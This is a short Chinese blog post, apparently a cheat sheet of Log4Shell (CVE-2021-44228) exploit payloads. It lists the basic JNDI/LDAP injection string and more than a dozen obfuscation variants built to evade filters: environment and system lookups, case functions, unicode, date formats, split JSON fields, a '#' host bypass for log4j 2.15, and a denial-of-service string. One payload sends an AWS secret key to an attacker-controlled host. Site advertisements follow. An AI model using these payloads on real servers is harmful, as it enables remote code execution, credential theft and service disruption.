0x00 前言
CVE-2021-44228
log4j:2.0 <= Apache log4j <= 2.14.1
patched of Java version:6u211+
, 7u201+
,8u191+
, 11.0.1+
基本Payload:
${jndi:ldap://dnslog.cn/a}
0x02 绕过
2.1 系统环境变量
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Apache Log4j2 文档 ${env:ENV_NAME:-default_value}
如果 系统环境变量 ENV_NAME
不可用,则使用 :-
之后的内容。你可以使用任意字符串替代 ENV_NAME
,只要它是不存在的。
当然,你也可以读取环境变量的值,比如云服务上的环境变量 AWS_SECRET_ACCESS_KEY
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
查看环境变量:
- Windows 上 PowerShell:
dir env
- MacOS/Linux 上 Terminal:
prinyent
orenv
2.2 大小写
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
2.3 "::-"符号
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
2.4 无效的unicode字符
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
2.5 系统属性
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
2.6 ":-"符号
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
2.7 Date
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java 日期格式转换,将YYYY
转换为2021
,同时它将'YYYY'
转换为 YYYY
。
2.8 URL编码
} -> %7D
{ -> %7B
$ -> %24
2.9 不存在的lookup
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
2.10 "分块"
# JSON REST API request
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
2.11 Unicode编码
${\u006a\u006e\u0064\u0069:ldap://dnslog.cn/a}
2.12 "#"
# log4j 2.15
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
绕过allowedLdapHost
和allowedClasses
检查。java.net.URI getHost()
方法返回#
之前的值作为真正的host。但是JNDI/LDAP
解析器将解析为连接到恶意LDAP服务器上。
2.13 DOS
# log4j 2.8 - 2.16
${${::-${::-$${::-j}}}}
2.14 PDF
其他文件自由发挥
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?